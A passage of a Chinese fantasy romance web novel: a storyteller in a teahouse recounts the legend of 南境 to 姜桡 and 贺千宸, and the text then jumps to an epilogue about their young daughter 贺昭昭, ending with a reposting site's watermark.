青衣小厮立即停下脚步,脸上堆满笑意:“客官,今日偏静的地都被占了,只有二楼的雅座才有位,只是二楼雅座的价格要比一楼的雅座贵上一些,你瞧?” 还没等姜桡开口,贺千宸便道:“可。” 青衣小厮瞬间眼笑眉飞,态度也比方才要恭敬几分,带着两人去二楼一偏静的四方桌处。 姜桡这屁股刚坐下,就听青衣小厮无比热情道。 “不知两位客官要点些什么,本店中有翠螺、松针、雀舌、郁雾与峨蕊,点心有如意糕、花糖蒸栗粉糕……” 听到那一堆茶名,姜桡不由回想起被师傅摁着头品茶静心的恐怖回忆,连忙开口打断:“将你们店中的特色茶与点心送上来即可。” 无论是好茶还是坏茶,在她嘴里通通分辨为很苦的苦水跟很淡的苦水。 故此被师傅骂,山猪吃不了细糠。 待青衣小厮退下后,楼下突然变得安静下来,姜桡侧目好奇朝楼下看去,只见一名身着青碧色长袍,气质温文尔雅的中年男子坐在台上的太师椅。 看来,这就是青衣小厮口中的言先生。 也不知是谁突然开口喊道:“言先生,今日讲什么呀?” 这样的好机会姜桡又怎会放过,连忙应声道:“言先生,可否讲讲南境。” 言先生忽抬头看向二楼雅座的女子,思索半响。 “行,那今日就讲讲南境。” 这清雅堂中每日来听书的客人大多是熟客,虽南境的故事前些日子讲过,但还有小半客人没赶上趟,何况言先生口诉的故事,就算内容一样,但每次听都有不同的味道。 因此只要言先生来说书,清雅堂的客人都会络绎不绝。 这时青衣小厮也将冒着热气的茶水与糕点给端了上来,贺千宸对茶似是有兴趣,伸手端起一杯放在鼻尖轻轻的嗅了嗅,随即凑到嘴边品了品。 与此同时,楼下的言先生也开始说起这南境的故事。 “南境玉树百鸟鸣,芙蓉泣珠百花露。春生秋落月枯尽,拜见神女入乾坤。” 听着言先生说的老者离开时,嘴里念叨的四句诗,姜桡脸上的神情变得严肃起来,并目光灼灼盯着底下的言先生,生怕遗漏接下来他所说的每一句。 反倒贺千宸,神情悠哉的品着手中的茶,似是对于南境一点兴致都没有。 “这四句诗说的便是南境,可何为南境?” 言先生的声音洪亮,吐字清晰,哪怕身处二楼,也是能听的清清楚楚。 “此事就要从共工怒触不周山,天柱折断,天河从九天坠落人间,而后女娲娘娘补天说起!” 姜桡先是愣神片刻,可很快就回过神来。 《殇魂》的故事源头本就是围绕上古神话所写,这世界的土著知晓女娲补天的故事也并不稀奇。 “那时天塌了不说,竟也摔破了,看着那天一日一日的塌下来,女娲娘娘忧心忡忡,只能来到海边苦思冥想,这时一只巨大的神龟突然游到了女娲娘娘身边。” “神龟告知女娲娘娘,漏的天可五彩石来弥补,至于塌下来的天用它四足顶着就好。” “这神龟每日顶着厚重且巨大龟壳与龟腹,前者可为天,后者可为地,故此完全可以支撑这快要重合,且归于混合的天地。” 言先生所说的一言一语甚是传神,听的在场大部分客人似是瞧见那惊心动魄的场面。 “自那以后,天地被神龟的四足所撑,并将这四足称为东南西北,这场祸事解决后,女娲娘娘为祭奠神龟,便在南的那足种上一棵玉树,并将其称为南境。” “那玉树引来百鸟飞鸣,万花齐放,传闻南境是一个只有春秋没有酷寒,只有白昼没有黑暗,只有欢愉没有痛苦的仙境,而想入这南境之中,得需先拜见神女才可。” 姜桡有些傻了眼,这跟自己听的女娲补天故事好像一样,又好像不一样。 她看着底下正喝茶润嗓的言先生,犹豫半响,忍不住开口问道。 “那这南境要怎么去?” 贺昭昭到了五岁,便已经是村子的孩子王,亦如她的名字般,是村里最显眼的存在。 村里人提到贺昭昭都会忍不住笑起来,虽是孩子王,却从来不惹祸,大多是别村的小孩欺负人,贺昭昭就拿着小小唢呐,坐在人家门前吹。 这一招是干娘苏音真传,特意教给的。 姜桡既无奈又觉得好笑,贺千宸则辗转难眠,于是没多久,一代村霸贺昭昭陨落了,被阿爹抓进私塾开始读三字经。 自从有了贺昭昭,苏音来这来得特别勤,而许念要忙聚灵宗大大小小的事,也就抽空才过来。 苏音一来,两人就凑在一起聊起唢呐心得,姜桡也不是没试过让贺昭昭学习玉埙,但贺昭昭却觉得金黄色的好看,声音也好听,关键揍起人也顺手。 姜桡能怎么办呢,只能瞪了眼贺千宸。 好在小孩子的玩心重,没过几天,贺千宸给贺昭昭做了把小木剑,于是贺昭昭的心头好就成了小木剑。 得知此事的苏音气不过,可又打不过贺千宸,只能告诉贺昭昭唢呐一百个优点。 夕阳西下,姜桡跟着贺千宸并肩而站,两人的身影被拉的很长很长。 远处小小的贺昭昭拿着小木剑笑着朝前跑,苏音无可奈何的在后面追。 “昭昭,你信干妈,剑修都是没有出息的,音修才是正确的选择。” 贺昭昭哪知晓什么是剑修,什么是音修,她只知道阿爹最爱阿娘,阿娘也最爱阿爹。 而两人也最爱最爱自己。 贺昭昭小脑袋摇得跟个拨浪鼓似的:”我要跟阿爹一样用剑。” 姜桡脑袋靠在贺千宸的胳膊上,她从来没有想过,预知梦的结局会是这般。 不过。 姜桡感叹道:“真好!” 贺千宸将阿桡搂入怀中,他看着贺昭昭那开怀大笑的模样,嘴角向上仰起。 “是呀!真好!”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m